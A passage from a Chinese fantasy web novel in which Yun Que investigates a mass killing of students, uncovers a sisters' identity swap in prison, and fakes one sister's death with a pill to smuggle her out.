云缺刚从妖山出来,不知道发生了什么,但听完屠苏和满申的大吼也猜到了一二。 云缺朝着犁谷招了招手,对方哭丧着脸走到近前。 “云、云大人。”犁谷苦涩的打着招呼。 “你这孩子太调皮,伤没好利索,不在家里躺着又来凑热闹。” 云缺叹了口气,道:“你爹在天牢繁忙,没时间管你,我替你爹管管好了,不用多吃,你把那头长毛猿吃了就行。” 犁谷眼泪都下来了。 看了眼长毛不知多少年没洗过的猿猴妖,还没等开吃,他干呕了两下开始狂吐。 在犁谷的呕吐声中,一年一度的妖山试炼就此结束。 云缺成为名副其实的第一名。 回去的路上,吴鹰与云缺同行。 “云师弟果然厉害!我才猎杀了不到二十头妖兽,你居然把白玉蜘蛛干掉了!”吴鹰道。 “运气而已,差点没回来,下次不能这么鲁莽了。”云缺苦笑道。 “有了白玉蜘蛛,相当于极品法器到手!记得到时候选一件趁手的武器,以你的气力,重刀最好,或者护身轻甲也行,关键时刻能救命。”吴鹰提醒道。 云缺无奈的点了点头。 第一名虽然到手,可法器是换不来了,得要悟道丹才行,要不然穹音非死不可。 云缺倍感无奈,朋友这东西,果然越少越好。 多一个,就多一份麻烦。 如果当初穹音不用那只蛊虫,想要替自己解除魂印,云缺不可能为对方做到如今这种地步。 云缺就是这样的人。 谈不上滴水之人涌泉相报,但眼睁睁看着穹音被斩首,他于心不安。 人活着,就得念头通达,这是云缺为人行事的信条。 心疼归心疼,反正怀里揣着卖身契呢,悟道丹价值的银两,早晚让穹音还清才行。 回到学宫后,等到很晚也没传来排名的消息。 直至午夜,前三名的奖励才下发。 第一名是云缺,第二三名分别是鸿儒殿与道山殿的两名女学子。 云缺在事务堂领取奖励,选了悟道丹。 另外两名女学子各自领取了自己的奖励,只是看云缺的目光充满幽怨,好像云缺抢了她们宝贝似的。 领完奖励,云缺在事务堂得知一个惊人的消息。 之所以奖励下发得如此之晚,是因为事务堂在忙着清点此次妖山之行身亡学子的数量。 刚刚清点完毕,总共三十九人! 得知这个数字,云缺大为诧异。 历年来妖山试炼的获奖者与伤亡情况,都记载在册,百花殿书楼里均可查询。 云缺曾经看过。 在妖山试炼中出现的死亡事件,极其少见,不能说没有,大致两三年才会出现一例。 而死者多为冒失之人,大意之下被妖兽击杀,或者准备并不充足就去深处寻找强大妖兽。 这种人什么时候都有,不算罕见。 可今年一次死掉了三十九名学宫学子,如果数量太过惊人,以至于大祭酒亲自去了趟妖山,将学子的尸体尽数带回学宫。 回到西楼,正遇到墨老从楼上飘下来。 云缺打过招呼想去休息一番,结果被墨老带上,又返回了事务堂。 大祭酒召集所有先生去辨认自家学子的尸体,西楼这边没人死,木安根本没去妖山,墨老是被叫去帮忙验尸的,云缺则成了打下手的小徒弟。 第132章 天生没有脸 云缺满腹无奈。 百花殿学子平日里就在学宫垫底,经常被别的学子看不起。 这下好,不仅别的学子看不起百花殿学子,连别的学殿先生,都要看不起百花殿的先生了。 “天亮了,开饭了!”云缺在剑平之耳边低声喊了句。 “早饭吃什么?”剑平之立刻苏醒,睁开眼睛,发现在事务堂,立刻尴尬了一下。 不过这位脸皮够厚,好整以暇的站在原地,现出一副沉思表情,让人觉得他在思索案情。 大祭酒神色不变,从新将之前的提议道出。 “行!没问题!” 剑平之满口答应下来,道:“不知大祭酒想要召谁的亡魂?招魂之道耗费神力,一天之内我只能动用一次。” 秦蒙看了眼满地尸体,选了一名八品境界的武者。 选武者,是因为武夫的身体最为强悍,最耐打,哪怕被击杀的时候,也比其他派系修行者坚持的时间长,最有可能得到凶手的线索。 剑平之让云缺帮忙,两人一起将其他尸体挪开,摆到角落。 大厅中心只剩下那具武者学子的尸体。 随后剑平之围着尸体走了三圈,脚步沉重,最后站在尸体头顶的方位。 “我要施法了,诸位切莫散发气息,容易影响死者亡魂。” 剑平之说完,一众先生各自收敛气息,大厅里变得安静起来。 云缺站在远处,好奇着剑平之接下来要如何召唤亡魂。 招魂弄鬼,这种本事虽然不常见,但绝非没有。 尤其巫蛊一道,巫修高手能炼化旁人的元神,当做武器。 就像大石村那些养鬼的村民,能借助红莲法台留住亲人的魂魄,形成鬼物。 魂鬼这种东西,煞气一冲即可覆灭,云缺经常遭遇,没觉得多稀奇,更想不通剑平之即便唤来死者亡魂,又要如何让魂魄开口。 剑平之神色变得无比凝重,盯着眼前的尸体,缓缓抬手,握住了背后的剑柄。 他整天背着一把剑,从没亮出来过,很是神秘,不知是什么品阶。 众人都以为剑平之要拔剑施法,结果这位将剑鞘整个摘了下来,走到角落放好,又走了回来。 “待会儿亡魂附体,别把剑弄坏了。” 剑平之还特意解释了一句,把一群先生给气得不轻。 你放剑就放剑,弄得好像要施展什么惊天法术似的,逗我们玩呢! 云缺的眼皮跳了跳。 这位要不是先生,云缺很想过去给他一脚。 从新回到尸体前,剑平之摆出一个奇怪的姿势。 左手掐腰,身体往左倾斜,右手举至头顶,伸展了三次。 然后右手掐腰,身体往右倾斜,左手举至头顶,伸展了三次。 一众先生看得疑惑不解。 都看不出剑平之这是什么奇诡的法门。 “施法前的准备,活动一下身体。” 剑平之又解释了一句。 这下云缺能确定,在场的先生当中,肯定有一多半都和自己一个心思,很想冲过去踹剑平之几脚。 孔气气瞪着大眼睛,一脸怒气,狠狠捏着两个小拳头。 估计剑平之再不施法,这位灵匠殿先生就要动手揍人了。 剑平之活动完身体后,再次做出个令人费解的举动。 他蹲在尸体旁边,开始按尸体的肩膀,按完肩膀按手脚,差不多把尸体按了个遍。 一边按一边低声嘀咕。 第133章 二女共侍一夫 学宫门外,停着一排车马,全是私人府宅的车马,大多做工不菲,价值连城。 这些马车绝非普通百姓能拥有的,至少得是大户人家。 来收尸的人群当中,云缺看到了不少熟面孔,都在当朝为官。 等尸体尽数被领走,天已经快亮了。 宋道理紧锁眉头,站在学宫空旷的大门前,沉沉叹息道: “白发人送黑发人,世间凄苦莫过于此……” 叹息过后,宋道理看向忙活了半宿的云缺,神色变得有些复杂起来。 他之前只认为云缺是个纨绔子弟,与演武殿的那群武夫一样,只会成天打架惹事。 但今天,宋道理对云缺改变了印象。 别看人家年纪不大,处理起事情来井井有条,该安慰的时候好心安慰家眷,该用官威的时候毫不犹豫动用官威震慑,如果今天没有云缺在场,他宋道理这身衣服别想要了,没准脸上都得多出几条血印子。 张了张嘴,宋道理不知该说什么好,最后生疏的道出四个字: “辛苦你了。” 宋道理是个严肃的人,更是个死板的人,行事作风完全遵循着圣人之言,甚至可以说迂腐,不近人情,凡事只讲道理,有道理就是对,没道理就是错,没有第三种答案。 他这辈子,几乎没笑过,也没说过委婉之词,对人道谢的次数寥寥无几。 如今能说出辛苦二字,若被旁人听到非得震惊不可。 云缺拱手道: “分内之事,学生该做的。” 宋道理点了点头,返回事务堂。 妖山血案发生后,学宫里流传起一种说法。 腾蛇现世,大灾之兆,妖山血案仅仅是开始,还会有更加可怕的灾难来临。 很多学子对这种说法深信不疑,一时间整个学宫变得人心惶惶。 云缺也相信这个说法。 千年来,腾蛇现世过两次,的确有过两次劫难来临,而且腾蛇是圣人坐骑,又能预知灾祸,一旦出水,必定预示着会有灾难降临。 但云缺觉得腾蛇预示的灾祸,与妖山血案应该无关。 由于尸体身份是云缺一手记录在册的,他了解三十九名死者的全部身份。 让云缺颇为惊奇的是,死掉的三十九名学子虽然在不同学殿,却有一个共同点。 全是官宦子弟! 那三十九名死者的家里,都有家人在当朝为官。 这一点,让云缺大为不解。 即便妖山混进了一头可怕的怪物,也应该胡乱杀人才对,难道那怪物在杀人之前,还会调查一下目标的家庭背景? 只选官宦子弟下手? 学宫里的确有一些官宦子弟,家住在皇城的大有人在,但只是一小部分而已,绝大多数学子来自天南海北。 如果说是巧合的话,那也太巧了一点。 以云缺估计,去妖山的学子大约万余人,其中官宦子弟多说三四百个,就算翻一倍,也不足总人数的一成。 连杀三十九人,又全是官宦子弟,这种概率并非没有,但小得微乎其微。 “掏心的未必是怪物,也有可能是人。” 云缺在屋舍内暗暗自语。 妖山血案,让云缺联想到了皇宫凶杀案。 虽然手法不一样,却能伪装成妖物杀人。 或许别人做不到,云缺就能。 也就是说,妖武者可以办到! “好困……” 云缺打了个哈欠,散去思绪。 皇宫凶杀案有皇帝管,妖山血案有学宫管,自己一介小小提刑官,管个天牢就够了。 已经清晨,云缺动身赶往刑部。 到了天牢后,始终哈欠连天。 天牢里没什么事儿,云缺打算睡一会儿,犁术苦着脸寻了过来。 “大人,穹音这两天气色不大好,我看她今天早饭都没吃,好像病了,要不要找郎中瞧瞧。”犁术道。 “过阵子就砍头了,不病死就行,不用管她。”云缺道。 看似无情,实则云缺是在提前避嫌。 如果表现得太关心的样子,等救出穹音之后,没准会被怀疑。 犁术为难了起来,支吾道: “大人呐,穹音身体不太好,前阵子刚大病过一场,应该没好利索,这要行刑之前病死在天牢,咱们容易惹麻烦。” 云缺不以为意,七品武者的肉身气血充盈,轻易不会病死。 不过从犁术的话语间,云缺听到了一个奇怪的现象。 “穹音之前生过大病?什么时候的事。”云缺道。 “大概半个月前,就是大人刚逃狱……啊不对,是大人刚去学宫之后没几天的时候。”犁术道。 “她得了什么病。”云缺道。 “气血蒸腾的暴毙之症!当时差点没死在天牢,我亲自带人将她送去城里的大医馆,这才救了过来,当时把我吓得不轻。”犁术后怕的道。 云缺听罢,困意全无,追问道: “穹音离开过天牢?有多少人跟着她,当时可有异样?” “带了十个人呢,都是有修为的武者,看病过程一切正常,只是后来下官有些困倦,打了会瞌睡。”犁术尴尬的道。 云缺微微眯起眼,沉默良久,道: “等她快病死了再说,不用管了。” 犁术走后,云缺暗暗咬了咬牙。 他终于明白为何阿梅最近不对劲了,因为根本不是本人! 独自来到阿梅的牢房后,云缺看到了卷缩在角落的女人,脸色苍白,尽管美丽依旧,却难掩憔悴。 “胃口不好是么,活动活动筋骨就好了。” 云缺面带笑意的道:“今天心情不错,找你过过招,拿出你七品武者的全力来!” 说罢一拳轰出,直奔阿梅的面门砸去。 这一拳带着风声,快若奔雷,瞬间到了近前。 阿梅愣怔着一时忘记还手,檀口微张,眼睁睁看着拳头砸来。 云缺的重拳,并未砸在阿梅身上,堪堪停在了阿梅的鼻尖处。 拳风将阿梅的秀发吹得狂摆,她下意识的闭紧眼睛,好似受惊的小鹿。 云缺缓缓收回手。 这次试探,是最后的证明。 由此,云缺已经能确定,眼前的女人,根本不是穹音! “好一招偷梁换柱,天牢苦寒之地,不知舞仙子住得可还顺心。”云缺语气淡漠的道。 “不!我不是穹舞,我是穹音!”阿梅的眸光慌乱了起来。 “是么,既然你是穹音,把之前我送你的银钉,拿出来。”云缺冷漠道。 阿梅张了张嘴,不再吭声。 她拿不出来。 因为她不是阿梅,而是与姐姐调换了身份的舞仙子! 云缺的目光始终冷漠,从怀里取出那张卖身契,缓缓撕碎。 “阿梅曾经想用蛊虫帮我清除魂咒,勉强算我半个朋友,而你,不算。” 扔下手里的碎纸片,云缺起身朝外走去,在门口停住脚步,道:“你的生死大劫,与我无关。” 云缺走后,穹舞浑身无力的瘫倒下去,眼眸里最后的灵动随之消失。 她只能等死,别无他法。 回去后,云缺睡了一觉,下午才醒。 对于穹舞的生死,云缺决定不再多管闲事。 因为对方不是阿梅。 好看归好看,但悟道丹的价值,更高。 云缺又不是那些富家公子,能为了漂亮女人豪掷千金。 这叫及时止损。 如果是阿梅,云缺还能看在那只蛊虫的份上,帮忙想办法,但舞仙子的话,本就没什么交集更没什么交情,云缺不可能动用价值三万五千两的悟道丹,去救一个与自己没什么关系的漂亮女人。 睡醒后,云缺想到了一件事。 既然学宫里的才是阿梅,那么妖山血案里死掉的学子,有可能是阿梅所杀! 阿梅不仅有七品武者修为,还会巫修手段,足以制造出妖兽杀人的假象。 最关键的一点,是阿梅有足够的动机! 雁死天门事件,穹家成了弃子被皇帝舍弃,穹家姐妹最恨的就是皇帝与百官。 阿梅有足够的动机,在妖山试炼中杀掉一些官宦子弟来泄愤。 而且阿梅对人命绝对不会在意,在天牢里不知杀了多少人。 阿梅之所以能动用蛊虫相助,也是在云缺先给出了银钉之后。 之前石头在墙壁上挖洞,云缺看了隔壁之后,那条蜈蚣肯定也是阿梅放出来的。 云缺很清楚阿梅是个与自己类似的人。 冷血,无情,但有自己的底线,对自己好的人,肯定不会加害,但欺负自己的人,那便随手可杀! “凶手到底是不是你呢,穹音……” 傍晚回到学宫后,云缺直接去南楼找到穹音。 两人来到僻静的林间后,云缺开门见山的道: “你妹妹下个月行刑,你自己想办法,恕我无能为力。” “不是说好了帮忙么。”穹音蹙起眉,语气焦急而不解。 “如果是你在天牢,我的确会帮忙,但你妹妹与我无关,你既然能偷梁换柱逃出天牢,自己想办法好了,你们姐妹俩不是很厉害嘛,骗得我团团转。”云缺道。 “我没想过骗你!你又没问过我,如果你问了,我会如实告诉你一切,小舞不了解你,但我知道你肯定不会泄露我们的秘密,我在世上只有这么一个亲人,不计一切代价我也会救她。”穹音真诚的道。 “不错了,你至少还有个亲人,我连个家人都没有!” 云缺懊恼道:“我现在对你们姐妹的秘密没兴趣,也不想多管闲事,看在相识一场的份儿上,帮你也可以,只要你拿出三万五千两,我去帮你买一粒悟道丹,再送到天牢给你妹妹吃,让她假死逃生。” 穹音没说话,静静的望着云缺良久。 “你去妖山猎杀白玉蜘蛛,原来是想换悟道丹救我一命。” 穹音忽然展颜而笑,笑容绝美,道:“在天牢里,很多人送我东西,有人送我梅花,有人送我食物,有人送我银两,都是些取悦我的东西,唯独你,送给我一枚保命的银钉,那只食禁蛊,我炼制了快两年才成功,就当还你银钉的情分。” 云缺摊手道:“好哇,如此一来我们两不相欠,大家各安天命,各走各路。” “我知道你是什么样的人,没有好处的事,你肯定不会做。”穹音仰着俏脸,道:“只要你救出穹舞,我给你个足够的好处。” “你们姐妹俩穷得叮当响,能拿得出什么好处?”云缺狐疑道。 “救我妹妹出来,我们姐妹一起嫁给你!”穹音斩钉截铁的道。 云缺听得瞠目结舌。 太草率了吧,买一赠一啊! 第135章 最后的霓裳羽衣舞 昏暗的牢房内,穹舞卷缩在角落里一动不动。 精致的小脸儿瘦了一圈,一双美眸里遍布血丝,不知几晚没睡。 穹舞不仅人变得消瘦,心更早已如同死灰。 这几天,她始终活在回忆里,回忆着父母尚在之时的美好时光。 那时她还是个天真烂漫的少女,最喜欢舞蹈,每天都要跳給父母看,每次都会被父母夸赞。 姐姐穹音虽然歌喉动人,却轻易不喜欢唱出来,以至于每次被父母夸赞的时候,穹舞的心里都会有一点小小的得意,她又是妹妹,被父母和姐姐三个人宠着,从来不知道什么叫苦难,什么叫折磨。 即便家道中落,父亲带着一家人逃到大晋,穹舞也被家人们始终保护着。 后来生死关头姐妹俩逃出教坊司,在学宫门外得到了唯一一个能进入学宫机会的时候,穹音选择了牢狱之灾,将进入学宫避祸的机会让给了她这个妹妹。 这三年来,穹舞在百花殿刻苦修炼,修为达到八品开光境,对剑舞一道颇有心得。 但她知道,自己这点修为,想要替家人报仇无异于痴人说梦。 她更知道姐姐的修炼天赋,远远超过她太多,只因为她是妹妹,才被家人们保护到如今。 这些年,穹舞无时无刻不在惦记着天牢里的姐姐,却无能为力。 而今,她终于体会到姐姐在天牢里受的苦,遭的罪。 如果当初是她穹舞被关在天牢的话,这三年,恐怕根本熬不过去,早已死在狱中。 “爹,娘,舞儿很快就来陪你们了……” 穹舞睁开茫然的眼睛,看到的,是梅树上正在干枯的花朵。 那些枯萎的花儿,与她一样,即将凋零。 哀莫大于心死。 此刻的穹舞,对于自己的生命再无半点期盼,生无可恋。 麻木的目光转动了一下,刚想闭眼的穹舞忽然发现牢房里不知何时多出个人,静静的坐在旁边。 穹舞顿时吓得缩起身体,昏暗之下,她以为黑白无常来索命。 很快穹舞看清了对方的模样。 竟是那个欺负过她,又带给她逃生的希望,结果后来又反悔的可恶家伙。 云缺默默的望着穹舞,低声道: “你该死了。” 穹舞很想哭,可偏偏笑了起来,笑得绝望而凄美。 “还有多久,十天,还是半月,能不能现在杀了我,别让我等了。”穹舞沙哑低沉的道。 “可以,吃了这粒药,你会死得毫无痛苦,我最后能帮你的,只有这些。” 云缺伸手递过去一粒丹丸。 穹舞毫不犹豫的抓过来吞了下去,随后神采变得灵动了几分,对云缺道: “最后帮我个忙,告诉我姐姐,一定要好好活下去,替我活下去……” 云缺没说话,缓缓点了点头。 穹舞强撑着站起来,道: “谢谢你的梅花,还有每天的饭菜,我无以为报,殒命之前,这一生最后的一支霓裳羽衣舞,当做报答,舞给你看!” 说罢穹舞翩翩起舞,轻灵得好似一只彩凤。 哪怕一身囚服,也舞得精彩绝伦,令人拍案称绝。 然而舞姿只到一半,便随着跌倒的身影戛然而止。 云缺等了稍许,走过去把了把脉。 脉搏消失,心跳停止。 药效发作! 云缺以仵作的专业手段,仔细查看了一遍,确认毫无破绽,这才放心下来。 悟道丹果然玄奥,难怪又被叫做通冥丹,如此状态简直与死人一般无二。 除非拥有灵识感知的道家高手,否则没人能看得出来。 之所以没将真相告知穹舞,其实云缺也算用心良苦。 第136章 我死得老惨了 出现在刑部大门外的,正是木安。 “木师兄怎么到这了,进屋喝杯茶再走。” 云缺笑着打着招呼。 木安是接走尸体的最佳人选,因为木安经常在城外替墨老买尸体,跟运送尸体的狱卒十分熟悉,让他买走尸体没人会怀疑。 哪怕之后诈死的消息被皇帝得知,黑锅也是墨老来背。 学宫先生要买的尸体,至于怎么活过来的谁也不知道,想追查,就得抓学宫先生。 皇帝自然不敢去学宫找先生的麻烦,那么云缺也就没有麻烦可言了。 “云师弟幸好你还没走!墨老急缺尸体用,让我来天牢这边瞧瞧有没有死掉的囚犯。”木安道明来意。 云缺心头暗喜,脸上则故作为难的道: “尸体倒是刚好有一具,不过侍郎大人吩咐要埋掉,不能曝尸荒野。” 木安见云缺为难,立刻拿出五两银子道:“云师弟想想办法,墨老那边等着呢,以前二两银子就够买一具尸体,今天墨老给了五两。” “既然先生急用尸体,那我们做学生的要尽力帮忙才行,但侍郎大人发话,我这个提刑官也不能不听,实在为难啊。”云缺说着看了身后的两个狱卒一眼。 两名狱卒机灵得很,立刻道: “大人不用为难,尸体其实已经埋好了。” “对,我们俩动手挖的坑,埋得十分稳妥。” 云缺点点头,从木安手里接过五两银子,顺手扔给两名狱卒,示意两人可以走了。 两个狱卒急忙道谢,乐呵呵的喝酒去了。 帮了提刑官大人的忙,又得了银子,这种好事可不常有。 打发走狱卒后,云缺亲自赶着马车与木安往学宫走。 走出一条街后,云缺忽然一拍脑门,道: “瞧我这脑子!整天忙得脚打后脑勺,忘了这囚犯尸体需要仵作那边确定死因才行,我得回去一趟,要不侍郎大人过阵子查验卷宗,怪罪下来非得训我一顿不可,木师兄你先回学宫,等天牢那边手续办完我把尸体带回去。” 木安点头说好,丝毫没有怀疑,自己先回学宫了。 随后云缺赶着马车专走小路,一路来到城北自己那间府宅。 把穹舞搬进屋子里,关好院门,云缺终于松了一口气。 这半宿折腾的,几经波折,好不容易把人弄了出来。 点燃烛灯。 云缺坐在屋内,侧耳听了听。 街上时而有军兵匆忙行进的脚步声。 今晚皇城内严查,刑部大批人手与禁军不知出动了多少人。 “璇玉郡主怎么会逃出来?” 云缺暗暗思索着。 之前没心思多想,现在穹舞暂时安全,云缺察觉到璇玉郡主逃脱一事,有些古怪。 誉王可不是普通王爷,是殷子受的亲弟弟,王府内肯定不缺护卫。 以璇玉郡主的身手,不可能出现逃走的情况。 难道有人潜入誉王府,救出了那个郡主? 云缺越想越觉得很有可能。 只是猜不到救人者的目的是什么。 最近天祈城内诡案不断。 皇宫凶杀案,妖山血案,这次又出了璇玉郡主失踪的怪事。 如今的天祈城,简直能用风起云涌来形容。 “幸好我只管天牢,别的事不参和。” 云缺自言自语的道。 夜渐深,肚子开叫了。 晚饭云缺都没吃,一直忙活到现在,安稳下来立刻觉得饥肠辘辘。 宅子里被褥都有,就是没有吃的东西。 刚想出去吃点宵夜,云缺发现穹舞的秀眉动了动。 此时穹舞恢复了心跳。 “居然要醒了?” 云缺略感诧异。 按照穹舞的恢复速度,幸亏没出城,否则还没到城门,穹舞就能醒过来。 第137章 不要脸是基本要求 云缺也看清了来者,不是旁人,正是督捕司的陈洲骅。 “是陈大人啊,快坐,我这不太方便,不好下地迎接。”云缺道。 “别、别下来!原来这里是云大人的府上,怪我事先没打听清楚,打扰了云大人的雅兴,过阵子等不忙了我在设宴赔罪啊哈哈!你继续,继续!” 陈洲骅挤眉弄眼的退了出去,关好房门,站在院子里对一群督捕司的衙役吼道: “都长点眼!这里是云大人的府宅,查来查去查到我们刑部自己人头上来了,今后都给我记住位置,别再过来讨没趣儿!” “记住了大人!” “北街三百零九号府宅,督捕司这辈子不会再来人了!” “大人我觉得对面那家还得再搜查几遍!” 督捕司的人马退出院子后,怒气冲冲砸开了对面邻居的房门,又重新搜查了好几遍,把屋子里的锅碗瓢盆散了满地。 他们在泄愤而已。 幸亏自家郎中大人进去的,要是他们闯进去发现是提刑官大人,那不得被记仇啊。 等督捕司的人走后,云缺苦笑了一声。 今晚实在一波三折,回到家都不得安宁。 随后云缺察觉到被褥在微微颤抖。 颤抖的不是自己,而是白羊般的穹舞。 刚才情急之下只想着别穿帮,现在云缺才发现,自己正将穹舞揽在怀里,一只手还按在了不该按的地方。 云缺尴尬了一下,穿好衣服后,正襟危坐道: “最近应该没人会过来,你暂时住这,别出门,学宫的事,让你姐姐想想办法。” “嗯。”穹舞躲在被褥里,露出两只眼睛。 她现在比云缺还尴尬,不知自己该穿衣裙,还是始终躲在被子里。 “我去弄点吃的。” 云缺起身离开,到附近的小酒馆要了点饭菜带回家。 进门后,穹舞已经衣装整齐的坐在椅子上,只是目光慌乱,不太敢看云缺,显得有些局促。 云缺没去关注穹舞的微小表情,只觉得对方现在是个烫手的山芋,尽快扔出去才行。 一旦被发现穹舞非但没死,还住在自己家里,那就麻烦了。 一想起穹舞姐妹俩的罪名,云缺没胃口了,让穹舞自己吃,他则返回了学宫。 百花殿。 云缺找到穹音。 “你妹妹救出来了,不巧今天城里出了事,有位邵武国郡主逃走,禁军接管了城门,暂时出不了城,她被安置在一个还算安全的地方。” 云缺简单说完,道:“我承诺的事已经办完,接下来你们姐们是去是留,你们自己想办法。” 穹音听闻后深深的呼出一口气,心里的石头落了地。 “我去见她,让她回学宫。”穹音断然道。 “也好,你妹妹比你差远了,娇滴滴像个公主似的,还是你这个杀人魔头在外面稳妥些。”云缺道。 “这次多谢你了,救命之恩,我们姐们不会忘。”穹音道。 “客套话就免了,恩情不恩情的无所谓,你别忘了还钱就行。”云缺道。 “银子,对你来说很重要么。”穹音道。 “废话!我又没有你们姐们俩的出身,我三岁开始流落街头,没银子就得饿死,你说银子重要不重要。”云缺道。 穹音的嘴角微微翘起,淡淡的笑着,认真的听着。 “你身上,好像有好多故事,有机会,我想听一听。”穹音道。 “行啊,五两银子一个故事,想听多少都没问题。”云缺开完价后,道:“把你妹妹换进来之后,你有什么地方可去,她躲在我家里呢,我可不想趟你们穹家的浑水。” “不知道,我先藏起来,等突破到六品再做打算,放心,我不会牵连你。”穹音道。 “还是你这个当姐姐的明事理,等你妹妹回学宫,让她找齐灵珠,求一个明年的举荐名额。”云缺道。 “明年没机会的,前两日听说齐先生已经将明年的名额预定了出去,是一位邵武国的公主。”穹音道。 “邵武国公主?那么远也能得到名额?”云缺奇怪的道:“你们姐妹也是邵武国的人,难不成,齐灵珠来自邵武国?” “是的,齐先生出身邵武国,三年前能救下我们姐妹之一,穹舞的舞技天赋是其一,先生同情我们姐们是其二。”穹音神色凝重的道:“先生已经救过我们一次,对我们有大恩,我不想再去麻烦齐先生。” “就你这种脸皮的程度,说真的,没资格做我半个朋友。”云缺鄙夷道:“作为我云某人的朋友,不要脸,是最基本的要求。” “如果还有下辈子,我会努力让脸皮厚一些。”穹音轻笑道。 “行吧,山高水长,咱们后会有期,记得被抓住的时候,别把我供出来啊。”云缺随意的拱了拱手,算作分别。 穹音面带轻笑,缓缓万福还礼。 这一次,阴冷的阿梅仿佛一朵盛放的梅花,美得令人窒息。 “其实,我曾经也像个公主,也曾无忧无虑,天真烂漫。” 穹音起身后,恢复了往日里的阴冷,嘴角的笑容却不再如天牢中那般诡异,而是显得有些苦涩。 一句我曾经也像个公主,听得云缺不大舒服。 看了眼面前的女人,云缺叹口气,道: “想想别的办法,你们姐妹认不认得其他先生,最好再求个举荐名额。” 穹音缓缓摇头,道: “难,先生的举荐不会轻易外放,更别说我们与其他先生根本不熟悉。” 云缺皱了皱眉,道: “我去问问墨老,看他有没有名额。” 回到西楼后,云缺直接去三楼找到墨老。 云缺毫不客气,开门见山求个举荐名额。 墨老更不客气,二话不说直接回绝。 下楼后,云缺腹诽道:小气鬼…… 三楼上,墨老暗骂道:惹祸精…… 背黑锅的事儿,墨老还没忘呢。 既然墨老这边没求来名额,云缺也没了办法。 剩下的先生都不熟啊! 这种事光靠脸皮厚没用,自己又不是香馍馍,人见人爱,上哪去求个名额。 正坐在西楼大门口发愁呢,云缺看到北楼空旷的大厅里,剑平之刚好走了出来。 云缺眼前一亮。 剑平之刚来学宫,手里肯定握着名额没用,眼看年底了,不用多浪费。 “剑先生,遛弯去啊。” 云缺装作路过,笑呵呵打着招呼。 “嗯,晚饭吃得有点多,出去走走。”剑平之老神在在的道。 “不知先生最近招没招到学生?”云缺道。 “还没有,不过我相信早晚会有源源不断的学子,被我的神道吸引而来,住满北楼!”剑平之昂首傲然道。 做梦呢吧,云缺腹诽了一句后,笑着道: “我有个人选,先生肯定中意,可惜对方错过了今年考核,没资格进入学宫,如果让她成为学子,先生就有学生了。”云缺道。 “是吗!谁呀?”剑平之两眼发亮,在夜里蓝幽幽好像个饿狼一样。 “舞仙子穹舞的一位表姐,她们姐妹俩天赋都很好,神魂肯定不弱,只要先生给出个举荐名额,明天我就能把她带来北楼。” 云缺谎称表姐,为的是不给自己惹麻烦。彡彡訁凊 “哦。”剑平之哦了一声,背着手要走。 “先生不想要学生了?”云缺奇怪道。 “那个穹舞我见过,神魂不行,她表姐恐怕也强不到哪去,我不需要这种学生。”剑平之断言拒绝。 云缺差点骂出来。 你连屠苏满申那俩饭桶都抓着不放,这会儿挑起食来了! “先生想要什么样的学生,我帮忙物色一番。”云缺道。 “我看你就不错,只要你来北楼听课,我就把今年的举荐名额送给你,你想举荐谁就举荐谁,我不过问。”剑平之道。 云缺听完一咧嘴。 让我来跳大神儿? 门儿都没有! “不如这样好了,我让屠苏和满申那两个精锐学子来北楼听课,先生意下如何。”云缺道。 “他们我看不上眼,就选你,你不来就算了。”剑平之大手一挥,抬腿就走。 云缺一咬牙,道: “行!我来北楼听课,但不能经常来,有时间才行。” “没问题!每月来听讲一次即可,只要你了解到神道的玄奥,绝对会痴迷神道而无法自拔!”剑平之道。 云缺硬着头皮答应下来,并且给这位北楼先生继跳大神之后,又加了个新的标签。 自恋狂! 剑平之的修为看起来不靠谱,说话倒是算数,当场将自己的先生令牌交给云缺。 有了先生的令牌,云缺能随时动用举荐名额,只要把人带来,再去学宫事务堂报备即可。 随后云缺又把穹音找了出来。 “名额的事,差不多了,该你出报酬了,至少三万两。” 云缺狮子大开口道:“学宫先生的举荐名额,放在外面少说五万两,看在你算我半个朋友的份上,给你个友情价。” “这么快?” 穹音瞪大了美目,一脸不可置信。 这才过去半个时辰而已,人家居然举荐名额到手了! 震惊之余,穹音沉吟了一下,道: “欠你太多钱,我怕还不完,换个别的条件。” “又想拿身子抵债是不是。”云缺道。 穹音摇了摇头,道:“我帮你炼制一种特殊的蛊虫,可以协助你更快达到六品宗师境。” 云缺闻言大为吃惊:“真的假的?” “当然是真的,我在天牢里的三年,便是借助这种蛊虫即将达到六品。”穹音道。 “什么蛊虫?”云缺问道。 “剥皮蛊,专门以血肉为食。”穹音道。 “你想害死我直接明说多好。”云缺没好气的道。 “剥皮蛊听起来骇人,实则并不可怕,这种蛊虫喜欢吸食尸体的血肉,会先从皮肤吃起所以才由此得名,对普通人来说是致命的,但咬不动七品武者的筋骨。 剥皮蛊能吞噬掉武者多余的虚弱血肉,而武者气血充盈,血肉可以很快再生,利用好剥皮蛊,即可达到快速循环的作用,让武者不断蕴化出更新更强的血肉,变相加快修炼过程。” 穹音仔细讲解后,道: “你可以将剥皮蛊看作一种消除虚弱血肉的丹药,是那神秘人送我的巫修书籍上所记载,起初我也不太相信,后来找到材料炼制了一只才确定功效,这种手段,只有武巫同修的人才能发现。” 云缺听罢皱起眉。 剥皮蛊的用处,云缺是相信的,这种事与两人的利益无关,没必要扯谎。 令云缺费解的是,穹音在天牢那种物资稀缺的地方,怎么炼制出的剥皮蛊? 云缺问出这份疑惑后,穹音道: “剥皮蛊需要五种材料炼制,飞燕,梅花,老鼠,蜈蚣,狼蛛,前四种恰巧天牢里都有,唯独狼蛛最为罕见,属于妖兽一类,个头不大也无毒,但极其凶悍。” “天牢里有狼蛛?”云缺更加纳闷。 “有,不止一只,三年来我总共炼制出九只剥皮蛊。”穹音道。 “九只狼蛛,你在什么地方抓到的。”云缺问道。 “在我的牢房里。”穹音道。 “你的牢房里有狼蛛?”云缺愈发奇怪。 “我也不知道为何会有狼蛛出现,但别人的牢房里绝对没有。”穹音沉吟了一下,道:“我怀疑,有人故意把狼蛛放在我牢房里,目的,就是想让我祭炼剥皮蛊,好让我快些修炼。” 云缺目光微凝,道: “莫非,是那个三年前私下里找过你,给你巫修功法让你控制锻纸侯的神秘人。” “不清楚,自从那一次之后,我再没见过他。”穹音道。 云缺随之陷入沉思。 那个戴着鬼脸面具的神秘人,不仅与军械流失有关,与红莲教有关,居然还能随意进出天牢! 天牢在普通百姓眼中是禁地,但能轻易进出的,不在少数。 刑部的人就可以。 朝堂上的衮衮诸公也可以。 如锻纸侯那般的皇亲国戚一样可以。 云缺沉吟良久,始终猜不透此人的真正身份。 但云缺有种预感,那个神秘的鬼面人,应该就是盗走玉玺的真凶! 